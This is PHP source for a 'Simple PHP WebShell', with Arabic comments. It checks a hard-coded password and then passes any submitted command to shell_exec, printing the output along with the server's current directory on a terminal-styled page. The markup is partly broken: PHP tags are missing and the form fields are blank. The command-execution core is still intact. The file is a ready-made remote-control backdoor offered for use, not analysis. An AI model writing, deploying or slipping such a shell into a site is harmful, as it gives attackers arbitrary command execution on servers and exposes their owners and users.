// 1. إعدادات بسيطة
$password = "MySecurePass123"; // **قم بتغيير كلمة المرور هذه فوراً**
$isAuthenticated = false;
$commandOutput = "";
$currentCommand = "";

// 2. التحقق من كلمة المرور
if (isset($_POST['password']) && $_POST['password'] === $password) {
$isAuthenticated = true;
}

// 3. تنفيذ الأمر (إذا كان مصرحاً به)
if ($isAuthenticated && isset($_POST['cmd']) && !empty($_POST['cmd'])) {
$currentCommand = $_POST['cmd'];
// تنفيذ الأمر باستخدام shell_exec وعرضه كإخراج نصي
$commandOutput = shell_exec($currentCommand . ' 2>&1');
if ($commandOutput === null) {
$commandOutput = "Error: shell_exec() function might be disabled on this server.";
}
}

// 4. عرض واجهة المستخدم

<!DOCTYPE html>
<html lang="en">

<meta charset="UTF-8">
Simple PHP WebShell <title>Simple PHP WebShell</title>
<style>
body { font-family: 'Courier New', monospace; background-color: #1e1e1e; color: #00ff41; margin: 20px; }
.container { max-width: 800px; margin: auto; background: #252526; padding: 15px; border: 1px solid #00ff41; }
form { display: flex; margin-bottom: 20px; }
input[type="text"], input[type="password"] { flex-grow: 1; padding: 10px; border: 1px solid #00ff41; background: #333; color: #fff; }
input[type="submit"] { padding: 10px 15px; background: #00ff41; color: #1e1e1e; border: none; cursor: pointer; }
input[type="submit"]:hover { background: #00cc33; }
pre { background: #000; padding: 15px; border: 1px solid #00ff41; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word; }
h1 { color: #fff; border-bottom: 1px solid #00ff41; padding-bottom: 5px; }
.auth-status { color: echo $isAuthenticated ? '#00ff41' : '#ff0000'; ; }
</style>


<div class="container">

PHP WebShell - Status: <span class="auth-status"> echo $isAuthenticated ? 'Authenticated' : 'Login Required'; </span>



if (!$isAuthenticated):




else:
<p><strong>Current Directory:</strong> echo getcwd(); </p>






if ($commandOutput !== ""):

Command Output


<pre> echo htmlspecialchars($commandOutput); </pre>
endif;

endif;
</div>